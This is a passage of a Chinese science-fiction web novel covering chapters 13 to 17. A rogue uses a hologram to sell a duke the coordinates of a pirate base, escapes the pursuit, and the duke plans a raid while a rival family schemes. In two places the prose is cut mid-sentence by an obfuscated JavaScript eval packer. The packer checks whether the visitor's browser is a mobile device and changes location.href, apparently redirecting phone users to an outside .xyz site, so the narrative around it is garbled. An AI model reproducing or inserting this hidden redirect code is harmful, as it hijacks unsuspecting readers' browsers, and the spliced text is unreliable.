兰德尔径直向包厢走去,身后随行的两名便装警卫却是一齐调转步伐,以其高大健硕的身形,冷峻不善的脸色,一左一右,压迫感十足地向白启围拢。 13.交易 6点57分,兰德尔来到邀请函约定的001号包厢。 包厢内空无一人,甚至连灯光都未曾打开,若非邀请函上的身份印信真实无误,简直让人怀疑这是一场彻头彻尾的恶作剧。 虽然,一向谨小慎微,常年只以代号示人的地下情报商灰鼠,此刻突然出现在局势如此混乱的砾石星,主动向兰德尔发出约见,这件事本身就透漏着诸多诡异与不合理。 但兰德尔还是前来赴约了,在旁人看来,这大概说明在紧迫的局势下,他已然走投无路,因而才要什么可能都试上一试。 可不知道是不是贵族良好的涵养,即便到了此刻,他面上也没有任何急色,只有一贯的冷淡与漠然。 兰德尔没有开灯,从容地走进黑暗的屋中,在沙发上落座,静待约定的时间到来。 三分钟后,七点整。 几乎就在秒针走完最后一格的同一刻,伴随着房门打开的“咔哒”声,包厢顶部的几盏氛围灯同步亮起。 熟悉的音色吹着熟悉的轻佻口哨,大喇喇地来到兰德尔对面的沙发落座。 “久等了,阁下。” 不久前刚在大厅见过的男人就这样再次闯入兰德尔的视线,而本该前去给对方一个教训的两名下属却不知所踪,男人此刻口中说着敬语,实际上手臂横放在沙发上,单腿翘起的动作根本没有半分尊敬可言。 兰德尔面色不变,只冷静陈述:“你不是灰鼠。” 灰鼠连真名都不示人,样貌自然更加不会公之于众,但兰德尔有自己的消息渠道,他或许不完全知道灰鼠的长相,却知道眼前的男人各种特征绝对与其不符。 “我是灰鼠的手下,我代表我们老板来跟阁下你谈桩生意,放心吧,如假包换,印信你也看过了不是吗?那东西可不好伪造。”白启说得煞有介事。 对这个说法,兰德尔不置可否,只问:“什么生意?” “自然是事关砾石星和整个磐岩矿区的大生意。”白启一副关切语气,“听说阁下近日陷入了一些麻烦,一伙不知好歹的星盗四处捣乱,都要威胁到阁下你对砾石星的合法统治了,诶,就是那么巧,我老板手头上有一条情报,正好能解阁下你的燃眉之急。” 大约是为了低调,兰德尔今日穿的不是常见的军制礼服,而是普通的西装,虽然他的普通其实也并不是很普通,一身行头全是看不出牌子的高定,依白启这几日在奢侈品店挥霍的经验,兰德尔这身,光是西装,恐怕就不下20万。 但虽然换上了便装,兰德尔却仍戴着那枚刻有闪电纹标志的家族权戒,他此刻如初见时那样,身体靠坐在沙发上,手指轻轻摩挲戒面,眉眼低垂,不发一言,像是对白启所说的情报不感兴趣,也像是在等着对方继续说下去。 好在白启的一大特长就是自说自话,没人搭腔不要紧,他一个人就能唱完一台戏,此刻滔滔不绝道:“我们老板说了,做生意,讲究坦诚,我就不跟阁下你藏着掖着了,咱们摊开来说吧。” “砾石星的星盗背后就是维纶,二十三年前他们用这个理由联合费舍侵占了原属于塞勒斯的领土,二十三年后他们仍用这个借口想要将阁下你赶走。” “破局的方法说简单也简单,说难也难,简单在其实只需要将星盗剿灭好了,难则是在怎样剿灭。” “毕竟这可不是普通的星盗,他们不为劫财,也不为杀人,只是要频繁地出现,不断引爆舆论,这就导致他们绝不会与塞勒斯的舰队正面交手,打一炮就跑,溜着你们打游击就是了,同时,武器军备上,他们有维纶源源不断的支援,情报上又有内鬼费舍的及时通风报信,阁下空耗了这些时日,虽然也成功设局击沉过星盗的战舰,但根本是杯水车薪,对舆论的扭转更是毫无作用,不是吗?” 兰德尔仍是沉默,白启权当他是默认,继续道:“但无论怎么打游击,星盗也是人,总归是有个补给的老巢的,你们这些天也在太空里拉网搜索星盗的藏身地,但我猜,应该没有什么收获吧?” “没有就对了!”白启打了个响指,俨然已经开始自问自答,“砾石星的这伙星盗23年前开始在砾石星附近活动,可以说,他们本身就是维纶在此驻军的一部分,但23年的时间,让一群军纪严明的正规军一直飘在太空,不与地面进行任何接触,都是反人性几乎不可能的,更遑论这群盗匪出身的星盗呢?” “他们的真正老巢其实是在地面上,甚至就在砾石星上。”白启将这个关键情报直接说了出来,因为即便知道是在砾石星上也没用,只要塞勒斯的军队有在地面上搜索的动作,甚至只是还未实施的指令,内鬼费舍都会第一时间将消息告知,星盗会立刻撤离,局面不会有任何改善,唯有直接拿到确切的坐标,才能真正一击即中。 话说到这里,这桩交易的筹码已经很明显了,白启坐姿微微前倾,摆出一副期待又贪婪的神态:“这个坐标,不知道阁下愿意开价多少呢?” “二百。”兰德尔终于开口了,他同时抬头,灰蓝色的眸子直视着白启。 “万?太低了吧。”白启正要讨价还价,兰德尔尚未说完的话却跟他同步响起。 “——到五百星币。” 白启:“哈?” 他确定他没有听错单位,因为兰德尔特意在“星币”两字上用了重音。 “佐罗先生,我知道这应该不是你的真名,但我姑且先这样称呼你。”兰德尔并未被白启打断自己的节奏,仍不紧不慢道,“你不是什么灰鼠的手下,事实上,你与灰鼠唯一的关联是,一个半月前,灰鼠存放重要资料的秘密保险室遭窃,他随后在地下世界公开发布了印有你照片的悬赏,以一亿星币的额度,买你的人头。” “偷窃是非法行为,但事发地在灰环星,且灰鼠本身的身份特殊,在砾石星,我暂且对此事不予追究,但是,佐罗先生,”兰德尔灰蓝色的眸子中是古井无波般的平静,他以公事公办的口吻陈述道,“你并非砾石星人,海关入境申请的名单同样没有你的信息,那么根据砾石星的出入境管理处罚条例,非 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当前最先进的全息投影,也仅能做到接近逼真,虚拟的影像仔细去看,还是会看出异状,但那是在光线良好的条件下,在这间精心选择过的酒吧中,昏暗的氛围灯光将这缕破绽完美掩藏,换做其他任何人,恐怕都很难想到眼前与他交谈的一直都并非真人,兰德尔却显然早已识破。 “小美人,你说的都对,但我真身都不在这里,你又要怎么向我罚款,乃至羁押我呢?”白启单边的眉峰挑起,语气似戏谑,也似挑衅。 “帝国当前对精神力等级评判的标准,或者说界限。”兰德尔突然转向一个看似风马牛不相及的话题,“去除掉无法运用的D级,C级的精神力就可以在意识中凝聚呈现特性,并做一定的运用,B级则是可以通过被称之为燧石的特殊介质将这种本只存于意识中的力量直接在现实中外化表现,但只能做到部分外化,例如单独的手臂或是腿部,而若是能够达到全身外化,就达到了A级的门槛,至于最高的S级——” 作为帝国现今唯一的S级,兰德尔平淡叙述道:“我的精神力较之只能将特性作用于自身的其他等级有本质区别,在燧石辅助下,S级的精神力可以外放于周身,形成领域一样的能量场,领域范围内,你无处可逃。” “但与驾驭机甲时可以由机甲辅助供能不同,在非驾驭状态时动用特性,只能由人体自身的精神力支撑,因而这种能力的运用并不长久,范围也相当有限,在帝国的记载中,S级的领域范围平均为12-14米,最高的也不超过16米。” “你不敢离我太近,但想要让全息投影维持逼真的实时互动,你又不能离我太远,你需要一个不远不近的位置,同时视野开阔,方便你掌握周围的情况随时撤离。”兰德尔看着笑容渐渐敛去的白启,轻声说,“我猜,你在走廊尽头东侧倒数第二的房间。” 白启瞳孔骤然缩紧,几乎在同一刻,“哗啦”的破窗声在他身后响起,部署多时的警卫和机器猎犬从各个位置一起冲入,犹如无处可逃的罗网兜头罩下。 14.追击 在变故骤起后,虚拟的全息投影自然也无法维持了,兰德尔眼看着方才还栩栩如生的影像在他面前定格,随后在一阵混乱的枪击碰撞,人声叫喊中,于某一刻突然消失。 随之一同消失的,还有实时传送的声音,但兰德尔并未因暂时失去对局势的掌控而生出任何波澜,他不急不躁地坐在原位,静待下属将此人直接押送到他面前。 然而,三分钟后,他先收到的却不是下属将人抓获的汇报,而是再次响起的远程语音。 “小美人。” 男人轻佻的笑声伴随着背景巨大的杂音,像是摩托飞驰时的引擎轰鸣。 “说话时搞那么多小动作,你不太老实啊。” 兰德尔看着“目标突破包围圈,正驾驶一辆重载机车沿城区地面主干道向东部逃离”的简报,眉头蹙起。 “不老实的男人可不受欢迎。” 这话似在贬低,但以白启那轻佻的嗓音说出来,却更像调情。 兰德尔手指在终端轻按两下,身前便投射出数块虚拟屏,每一块虚拟屏都对应着一架追逐在白启身后的机器猎犬或蜂群无人机的视角,在算法加持下,这数块角度各异颠簸晃动的虚拟屏又被整合成一块锁定白启的巨大高清屏,各种细节都如电影镜头那般稳定清晰。 兰德尔得以清楚地看到白启此刻说话时还装模作样地摇了摇头,像是很无奈般叹道:“唉,但是美人实在貌美,绅士对美人总是要多点宽容的,我再给你个交易的机会如何?” “我不跟藏头露尾的人做交易。”兰德尔冷漠道,他同时驳回了下属是否可以开火的申请。 七点多的时间,城区主干道正是最繁忙的时刻,通勤的车辆与行人像是密集的蚁群,在地面上挤挤挨挨地缓慢挪动着,相对的,需要特殊许可才能通行的空中航道,在此刻依然空旷畅通。 白启驾驶的机车明显是陆空两用的型号,他这种身后跟了一溜串追捕警力的法外狂徒更加不在意什么许可不许可,但他却没有选择更空旷的空中航道,只驾驶机车在地面车辆的空隙中蛇形穿行。 这势必会减缓他的逃亡速度,但借着周边民用车辆的掩护,身后的追捕力量也无法直接以火力覆盖扫射,在兰德尔的授意下,警卫们驾驶悬浮车在畅通的空中航道逐渐拉近与白启的距离,预备在近距离下以非致命性的麻醉弹进行精准狙击。 凭借空中航道的速度优势,短短几句话的功夫,悬浮车已经追至白启的头顶,狙击手将身体探出车外,瞄准镜锁定了白启的背影,但在他即将开枪的前一刻,白启却突然转过头,冲着天上的追兵,也冲着远程看着这一幕的兰德尔,露出一抹狐狸似的狡黠笑容。 下一刻,狙击手的瞄准镜,以及周边空域所有的无人机群,控制端口一齐跳出“目标丢失”的警告字样,意识到对方是用了某种干扰装置,训练有素的狙击手立即切换为手动瞄准,依照经验估算出此刻的风向误差,而后毫不犹豫地扣动扳机。 他很确信他没有打偏,他射出的子弹也确实径直向白启的背部射去,但在子弹与人体接触的那一刻,却是毫无迟滞地穿过,犹如穿过一抹镜花水月般的幻影。 狙击手为这违反常理的一幕一怔,他随后立即意识到:“阁下,目标还配备了光学折射装置!” 只有这个可能,露天的街道上绝不可能营造出酒吧包厢里那种逼真的全息影像,唯有类似水面的那种光学折射可以,这样白启真身虽然在他们的视线中,真实的位置却与他们肉眼所见的有所偏差,而不受这种偏差干扰的电子锁定又被屏蔽了,他们眼下竟是没法瞄准对方。 这种偏差的作用自然是有限的,白启的真实位置离折射的幻影位置不会太远,只需要略微扩大扫射范围,就一定能够命中对方,但问题是,周边都是民众,麻醉弹是不致命,但子弹的冲击力却未必不致伤,塞勒斯在砾石星的舆论场上已经如此劣势,在此刻再爆出枪击平民的事,那无疑是雪上加霜。 对方必然算准了兰德尔绝不会在此刻下扫射的指令,因而在如此浩大的追捕声势下依然不慌不忙,甚至还有闲心用懒洋洋的语调跟兰德尔说话。 “算了算了,你这样的小美人,本身就是连聊天都要收费的,我就权当你出过价了。”白启说着往后抛出一物,身后追逐的机器猎犬立即踩着前方的汽车引擎盖蹬高跃起,于空中将那枚存储卡轻轻衔住。 但众人此刻的注意力显然不在这枚不知装有什么的存储卡上,白启说的话不光是有通讯设备直接连接的兰德尔能听到,近距离追击的警卫们,乃至远程操纵无人机的后方人员,全都将他说的每个字听得一清二楚。 无论是那轻佻的语气,还是他话中的意思,都再明白不过,他这是将兰德尔比做那种收费提供一些特殊服务的边缘人员,并且还自说自话地付了嫖资。 二十七年至今,别说是兰德尔没受过这样大的侮辱,这些年龄更大的警卫们,也从未见过有人胆敢这样挑衅一名贵族。 尤其,他还是塞勒斯家族的掌权人,帝国现今唯一的S级,七大S级机甲中阿加雷斯的驾驭者。 远方包厢内的兰德尔终于不再是一贯的冷漠神态,他压低的眉峰第一次显出这样明显的恼怒,他同时从沙发上站起,悬浮身前的虚拟屏随着他一起向屋外移动。 “阿加雷斯。” 在比平常更低几度的嗓音中,以手环形态存在的阿加雷斯没有再变幻回常见的黑猫,他重组成一把狙击枪的形态,被兰德尔握于手中。 “A03,A07,A08,离线。” 编号A03、A07、A08的 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海量的数据在虚拟屏上闪过,兰德尔的感知能力结合阿加雷斯的算力,以数倍于警卫们的速度破解着白启身上的屏蔽装置,他同时单脚踩上栏杆,修身的西装绷起肃杀的褶皱,在包厢露天的阳台上,兰德尔通过无人机画面的实时定位,在超远距离下,用狙击枪的瞄准镜瞄准白启的后心。 “警告!屏蔽装置失效,你已被锁定!”王尔德突然在脑域中示警。 白启骤然回头,在这一刻,他的视线彷佛穿过了两地相隔的一切物理上的阻碍与距离,跟瞄准镜后的兰德尔瑶瑶对视,而后,兰德尔端握着下移两寸的枪口,毫不犹豫地扣动扳机。 子弹呼啸而出,在超远距离的速度衰减下,致命的破空声已然先至。 白启死死盯着那枚疾射而来的子弹,生死一刻间,往日的狡黠轻浮俱都退去,他眸中现出一种孤注一掷的狠戾。 “王尔德!” 脑域连接的指令已然先于声音下达,因而在白启喊声响起的同一刻,巨大的爆炸声同步震穿众人的耳膜。 但这场爆炸并未产生高温的火焰,而仅仅只有铺天盖地弥漫的白色水汽。 贯通整个城区的主干道上,白启所在的这条路段,蜈蚣样的微微拱起的疤痕在路面上蜿蜒,其下是被精确引爆的地下水管。 一切都被控制得恰到好处,爆炸未曾造成过分的杀伤,却靠着那瞬间产生的些许冲力让白启的位置发生偏移,弥散的水汽则再度掩盖住他的身形,待到众人从爆炸的冲击缓和过来,水汽也开始散去时,他们追捕一路的目标已然不见踪影。 警卫们围拢在重载机车的残骸边,后方围观的人群中,黑色风衣的男人压低帽檐,只露出一截弯起的唇角,转身离去。 15.通缉 “呼,好险。” 白启卸下那一身的伪装行头,换上他刷兰德尔卡买的昂贵奢侈品礼服,舒舒服服地躺在总督府同样柔软奢华的大床上,终于有功夫跟王尔德闲聊。 “幸好你多留了一手,在逃亡路线的几个关键下水道节点都装了炸弹。”王尔德事后总结说,“但是,里奥,今天的事仍然非常冒险,我们显然不完全了解兰德尔·塞勒斯的特性能力,你不该直接对上他。” “谁想直接对上他了?”白启枕着胳膊抱怨,“我可是好心好意地去给他送情报的,结果他做了什么?不领情就算了,还想罚我的款,乃至派那么多人来抓我,最后还亲自动手了,哈,结果还是没抓到我。” 说到最后他没忍住晃起了双腿,犹如得意晃着尾巴的狐狸。 “如果你不说那些话,不故意做那些激怒他的举动,他未必会做到如此。”王尔德客观说。 “哪些话?哪些举动?”白启明知故问,倒打一耙,“叫声‘小美人’还不开心?我不是在肯定他的颜值吗?啧,小气又不老实的男人,难怪他到现在都单身。” “容我提醒,里奥,我觉得你应该没什么资格说别人不老实。” “闭嘴!你这个吃里扒外的机器人!忘了谁刚花四千万给你升级了吗!” “严格来说,那笔钱的拥有者是兰德尔,你只是使用了一下。” “想认贼作父了是不是?那你跟他走吧,去找这个有钱的新爸爸吧。”白启一边胡说八道,一边眼珠转动着,突然说,“快十点了,兰德尔有发布关于我的通缉吗?” “有。”王尔德检索着星网上的最新消息,恭喜道,“里奥,你的身价成功迈过一亿星币的大关,一举跃进到了一亿零二百五十。” “什么?!”白启一个翻身坐起,调出通缉令的详细信息,确认王尔德说得无误,兰德尔于半小时前新签发的这张通缉令,悬赏的额度就是二百五十星币,罪名是非法入境以及在城区超速驾驶。 超速驾驶的罚额是50,加上非法入境最低档的200,合计正好是250星币。 “说他小气他还真的很小气!我就值这点钱吗?”白启背着手在床边走来走去,愤愤不平道,“还有什么超速驾驶,他不追我我会超速吗?非法入境就更离谱了,纯纯的污蔑,我难道不是跟着他光明正大在海关入境的吗?” “你可以当面去找他评理。”王尔德诚恳建议。 “去就去!”白启作势真的要往外走,王尔德并没有阻止他,因为他们都知道,此刻兰德尔正忙着处理白启搞出的烂摊子,以及追查他那个假身份的来历和下落,压根不在总督府。 出了房门,白启先假模假样地打了个哈欠,揉揉并不惺忪的睡眼,而后问门口轮班的守卫:“伊蒙呢?” “科林斯少校下午出去了,暂时未归。”守卫道。 “奥,那阁下呢?”白启环视着在夜间显得格外空荡安静的府邸,明知故问道,“他也出去了吗?” “是的,阁下有些事情要处理。”守卫恭敬道,“殿下,您有事要找阁下吗?要紧的话我可以帮您汇报给马修副官,再由马修副官转达给阁下。” “没事没事,我就是几天没见到阁下了,有点想他。”白启满脸真切,不是演出来的,他确实很想看看兰德尔此刻的表情。 “那等阁下回来,我去告知您一声。” 守卫刚刚这样说着,屋外就响起了隐隐的引擎声,悬浮车车前的远光大灯在降落时晃过大堂的落地窗,接二连三,数辆悬浮车在总督府前方的广场上陆续停下,而后那些灯光响动又随着车辆的熄火渐渐消隐在漆黑的夜色中。 这样大的阵仗,不用问,必然是白启口中那位几天没见有点想念的大人物回来了。 兰德尔穿过广场通往西侧府邸的连廊,正往办公室走的短暂路途中,身旁跟着的下属都还在见缝插针地汇报着。 “周边区域的拉网排查已经初步完成,暂未发现目标下落,我方正在扩大搜索区域,但目标所使用的名字和样貌很可能都是假的,在全星域的数轮检索中,他唯一出现的一次就是在地下情报商灰鼠的通缉令上,除此之外再无任何信息,近乎于凭空出现,因而推测这个身份是全然造假的概率极大。” “把搜捕的人撤回来。”兰德尔简短交代。 “那……不查了吗?”下属迟疑道。 那个叫佐罗的狂徒说的那些话,今日参与行动的人可都听见了,就算兰德尔能忍下这种侮辱,他们这些做下属的都忍不了。 兰德尔没有回答,他平常也话少,今日却又显得格外少些,眉目中的冷意像他不愉的心情那般毫无隐藏。 “目标显然是有备而来,你们早已错失了抓住他的机会,再搜捕只是浪费时间。”马修代为答道,“但是对方今日的各种动作已经说明他对砾石星的局势十分了解,他必然牵扯其中,很大可能,他还想借助阁下的势力从中图谋什么,那么他迟早会再度出现,我们只需守株待兔。” “是。”下属敬了个军礼,转身去执行兰德尔的命令。 这个话题告一段落,兰德尔恰好走到大堂的位置,站在二楼走廊的白启正要向他招手,却有人先白启一步,引走了兰德尔的注意力。 “阁下!” 终于回来的伊蒙从后方匆匆追上兰德尔一行人的步伐,在兰德尔驻足回看他时,他方才想起来整理一下仪容,鞋跟相碰,军姿站得笔直,按规章申请道:“我在砾石星发现了一些情况,想要跟阁下做个汇报。” 兰德尔微微颔首,示意他说。 伊蒙于是说了今早和白启去赌场意外碰见玛莎,又一同去往地下层调查的事,他详细说了这家娱乐丨城远高于正常值的安保等级和未在对外图纸中公布的秘密地下层,以及他这个下午调查总结来的其他异状。 “阁下,我在试图扫描娱乐丨城的地下结构时触发了警报,这说明对方配置了反扫描系统,这是一般只用在核心军工设施或高等级实验室的前沿科技,一家娱乐丨城的地下拥有这样的防护设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455574|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置,绝对不可能是鲍勃·布莱恩所说的金库。” “我在意识到这些疑点后随后去查阅了砾石星历年的人口失踪数据,一般来说,在治安正常,政府职权并未失效的星球,人口失踪率都会控制在相对较低的范围,例如阿尔法星每年的人口失踪率只有0.1%到0.3%,而对比与砾石星同级的非行政首都星球,失踪率最高也不过0.6%,但砾石星每年的失踪率却是逼近1%。” “这个数据已经超出正常值快一倍,而若是对比这些失踪案的结案率,也即那些并非误会或有意走失的真正失踪案,砾石星的数据更是高出同级的十倍以上。” “同时,我详细查阅了失踪人员的名单,综合比对他们的信息,发现这些失踪人员中有90%竟然都是C级的精神力者,少部分甚至达到了B级。” C级的精神力者不算稀有,约占总人口的30%,而D级则占了60%,剩下10%则是B级A级这些高等,但越是高等的精神力者越容易拥有更高的社会地位,也就越不容易无故失踪,因而在失踪案的常规数据中,一般都是D级占了绝大多数,砾石星却是反过来的。 “这已经相当反常,而随着我更加深入的调查,发现无一例外,这些失踪的C级B级精神力者都是平民出身,是D级的原生家庭中意外进阶的幸运儿,且大多还较为年轻,尚未在社会上取得一定的财富和地位,因而他们这样反常的失踪,多年来竟是未能在砾石星掀起一点波澜。” “阁下,我初步怀疑,砾石星有隐秘且规模化的人口贩卖行为,那家金辉娱乐丨城很可能就跟其有关……” 伊蒙尚未说完,但兰德尔听到现在,从一开始的尚有耐心,到此刻眉宇间已经现出较为明显的不耐,他直接打断:“伊蒙·科林斯少校,你的职责是什么?” 伊蒙愣了下,随即说:“保卫殿下的安全。” “那你现在在做什么?” “我……但是……”伊蒙想继续说这些失踪案背后可能的牵扯,但兰德尔显然不关心这些,就像那些受案不理的砾石星警察一样,他此刻也对这些平民的失踪表现出了相当的漠视。 “不要让我怀疑科林斯家族的能力。”兰德尔警告般地说完后,又抬头看向二楼旁观了许久的白启。 白启原本是悠然旁听的神态,此刻对上兰德尔的视线,立刻讨好地露出一抹笑容,乖巧得让人完全想不到他正是不久前对兰德尔出言不逊的那名法外狂徒。 “阁下,殿下说几日没见您,有些想念,所以来跟您打个招呼。”白启身旁的守卫主动向兰德尔解释他们出现在这里的原因。 换做平常,兰德尔大概会礼貌得体地给上一两句并不真心的回应,但今日他的心情显然已经差到极点,冷冷看了白启一眼后,他转身离去。 马修副官跟在他身后,在路过伊蒙身边时,他再次警告了一句:“不要做多余的事。” 一行人渐渐远去,伊蒙独自站在空无一人的大堂中,低垂着头,沉默得像尊不会动的石像。 16.前夜 “我就说让你不要管吧,你看,阁下根本不在意这种小案子。” 卧室内,白启盘膝坐在床上,与坐在旁边椅子上的伊蒙说着他早已提醒过的事实。 伊蒙被兰德尔训斥过后就一直是沉默,但此刻,他却忍不住反驳道:“这不是小案子。” “我只细查了近十年的数据,而光是这十年中,有问题的失踪人数就达到了三千人之多,三千人背后是三千个家庭,这三千个失踪者家庭的家属,砾石星的法治与公理,都不是可以被随意忽视,乃至置之不理的小事。” “行行行,你说的都对。”白启一副拿他没办法的样子,“但事大事小,其实也得看是跟什么对比是不是?阁下现在关注的是砾石星的局势,是整个磐岩矿区的归属,几百兆亿的资产诶,这几千人的失踪跟这么多钱一比,是不是就不值一提了?” “不。”伊蒙执拗道,但他也没有进行更多的反驳,就像他在兰德尔的训斥前,也未再做更多的抗辩。 “反正阁下都那么说了,你就别管了,本来这也不关你的事,又不是什么好东西,你揽它干嘛?办好了没奖励,办砸了可能还得挨罚,而且你也不是没尽力,不也废那么多功夫去查了吗?跟那个玛莎说一声有个交代得了,这件事就到此为止,不关咱们事了。”白启像是不放心般确认道,“你不会再去查了,对吧?” 伊蒙又是一阵沉默,他最终说:“我不知道。” “诶,不知道是什么意思嘛……”白启还想再说,伊蒙却打断道:“殿下,感谢您的劝慰,我明白您的意思,只是……我想自己再想一想。” “快12点了,您早些休息,祝您今夜有个好梦。”伊蒙起身告辞。 “他还真是个单纯的好人。” 伊蒙走后,王尔德蹲坐在白启身边,这样评价。 “笨蛋好人。”白启纠正。 “那你呢?”王尔德说,“里奥,你算是好人吗?坦白讲,在人类现行的道德体系下,你的许多行为时常让我无从归类。” “我?”白启仰躺到床上,金辉娱乐丨城那枚纯金的纪念筹码像蝴蝶一样在他指尖灵动地上下翻飞。 他轻笑说:“谁知道呢。” 总督府仿古制的机械挂钟上,秒针一格格转动,转过一圈整后,“咔哒”一声,时针归零到了12点的位置。 夜色已深。 “阁下,经过技术部门的多次数据模拟及核验,综合比对砾石星的地形数据和周边区域历史生命活动迹象,这张存储卡里记载的坐标是真的可能高达93%。” 深夜十二点,兰德尔仍在办公室内处理政务,几名高级军官站在屋中,就这条新送达的情报讨论着。 “就算数据分析的结果是真的,但这条情报的来源本身太过奇怪,那个佐罗分明一开始就是想将这条情报白送给阁下,他图什么?” 什么交易都只是幌子,就像那个灰鼠手下的身份一样,对方特地以情报商灰鼠的身份发出邀约,一来是他应该在之前的灰环星盗窃事件中拿到了灰鼠的身份印信,扮演起来比较顺手,二来这个身份可以以一个看似合理的理由将这条情报交给兰德尔。 只是兰德尔没有跟着他的剧本来,刨除掉那些口头上占占便宜的狂言,只究其本质的话,他就是在发现交易的名目无法继续后,干脆将情报白送了。 “也许是他与费舍或是维纶有怨,也许他来自一个尚未浮出水面的第三方势力,想要在阁下和维纶费舍的争斗中图谋些什么。” “也或许这就是一个精心设计的陷阱,是他在费舍维纶指派下给阁下下的套。”有人持反对意见。 “下什么套?砾石星如今的局势,我方本身就已经很被动了,无论是费舍,还是维纶,有必要大费周章多此一举吗?” “机不可失,阁下,总归局面不会再坏了,我方不妨先行采信他的情报,就算他是有什么图谋,我们也可以容后再看,歼灭砾石星的星盗武装才是当下的重中之重。” “我赞同罗杰准将的意见。” “我也是。” 一轮讨论后,众人已经有了基本一致的结论,但真正拍板做主的,却还要看兰德尔的意思。 兰德尔闭目坐在办公桌后,手指摩挲权戒,这是他惯用的思考姿势,众人讨论完毕后,他像是也终于有了决议,在众人一齐望过来的视线中,灰蓝色的眸子睁开,与平素一般的冷淡嗓音说:“5小时后,晨间6点整,发动对坐标点的闪击突袭,罗杰率第3机械师从正面进攻,富兰克林率第5装甲团断其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459143|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后路,空中战场由第1舰队负责,我亲自坐镇。” 这个安排常规且合理,甚至还因为兰德尔的亲自出战而大大提升了己方的赢面,不过…… “阁下,费舍的势力遍布砾石星的政府各层,大规模的军事调动很难逃过他们的眼线,为确保不因消息泄露而功亏一篑,我更建议以小规模的特战部队进行潜入式斩首行动。”富兰克林少将道。 这个建议更加合理,兰德尔选择在这样短的时间发动突袭就是因为晚上在城区主干道上追击的事已经惊动了费舍,费舍想来已经知道兰德尔从一个神秘人物手里拿到了一张内容未知的存储卡,并且现在大概率正在动用势力打探其中的内容,他们若是动作再慢一些,或许进攻还未开始,星盗就已经撤离完成了。 而即便是在五个小时这样紧迫的时间后发动突袭,大规模的军事调动同样可能引起费舍的警觉,富兰克林所说的功亏一篑不是危言耸听,而是很可能发生的现实。 但兰德尔我行我素道:“照原计划安排,现在去执行命令,将军们。” “是!” 几位高级将官一齐敬了个军礼,而后各自离去。 时间这样紧张,他们离开办公室的步伐都显出了些匆匆的意味,端坐办公桌后的兰德尔却依然是不紧不慢的态度。 他靠着椅背,悬浮车陆续起飞的远光灯晃过办公室敞开的窗格,一抹光亮偶然落到他戴着权戒的手指,金色的闪电纹在漆黑的戒面上因反光闪动,便如电光闪动的雨云,雷霆之威尚未在天地间震响,却已然紧迫得顷刻将至。 在其余人俱都离去,仅剩他和马修的此刻,兰德尔摩挲着戒面,轻声说:“该收网了。” “是。”马修鞋跟相碰,敬了一礼后,转身去执行这一道与其他人截然不同的秘密指令。 砾石星主权变更的第九日,这一日的夜间注定要像初来那日那样热闹。 白启在窗边看着屋外频繁起降的悬浮车辆,轻唤说:“王尔德。” 王尔德配合地跳到他的肩膀上。 “该我们出场了。”白启手臂撑着窗台,身体伏低,语气中的待发之势就如潜伏已久终于窥见时机的猎隼。 “我跟你一样期待已久,里奥。”王尔德诚挚道。 17.地下工厂 总督府东西两侧的间隔约为两百米,中间隔着人造景观的森林花园和水池,这样的距离和阻隔,若是有单个人进出来往,那可能不太容易注意到,但若是启动时会发出引擎嗡鸣和灯光的悬浮车辆,却是很难被忽视。 尤其,今夜的悬浮车辆起降的还这样频繁。 凌晨四点,总督府东侧,砾石星行政总督办公室内。 劳伦特·费舍负手站在窗边,看着又一辆悬浮车从西侧的塞勒斯府邸前起飞升空,虽不知车中坐的是何人,但从其一刻不停离去的速度来看,多少也能看出些事态繁忙的意味。 “父亲!” 砾石星中央区区长,劳伦特·费舍的长子,艾伯特·费舍匆匆闯进办公室内,急切得已然连贵族的礼仪都顾不上了。 “刚刚得到消息,塞勒斯的第一舰队进行了秘密调动,随行的还有一支整编机械师和对陆装甲团,这个配置,这个行进方向,星鲨帮的据点恐怕已经暴露了!而且兰德尔·塞勒斯也已经不在总督府,他八成是亲自去坐镇指挥了,阿加雷斯一但加入战局,星鲨帮的人恐怕一个都逃不掉,我们这些年与星鲨帮的联系虽然大都通过维纶,但难保那边没有我们往来的通信数据,一但被塞勒斯拿到……” 艾伯特焦躁地说了这么半天,却发现劳伦特老神在在,没有半点意外和急切的样子,甚至还有闲心倒了杯酒。 “父亲,您已经知道了?”艾伯特狐疑道。 “镇定,艾伯特,这样慌乱的样子可当不起合格的费舍家家主。”劳伦特在沙发边坐下,不咸不淡地训斥道。 “抱歉,父亲,是我失态了。”艾伯特整理好自己的仪态,也在沙发上落座。 劳伦特这才道:“三个小时前,塞勒斯的军队刚刚开始大规模调动的时候,我就已经收到了消息。” “这么快?”艾伯特讶道,他随即意识到什么,“父亲,您在塞勒斯内部还有布置?” “这么多年了,总是有些老朋友的。”劳伦特意味深长地笑笑。 费舍跟塞勒斯已经23年未有联系,但仅仅是指塞勒斯家族本身,在这未有联系的23年前,费舍作为塞勒斯的臣属之一可是长达几百年了,几百年间的经营,即便是塞勒斯的家主更替,家族内部势力基本被兰德尔全部大清洗过一轮的此刻,也仍有这么些微却关键的联系。 “那您一定也有应对了?”艾伯特此刻是完全不急了,效仿父亲那样,也给自己倒了杯酒。 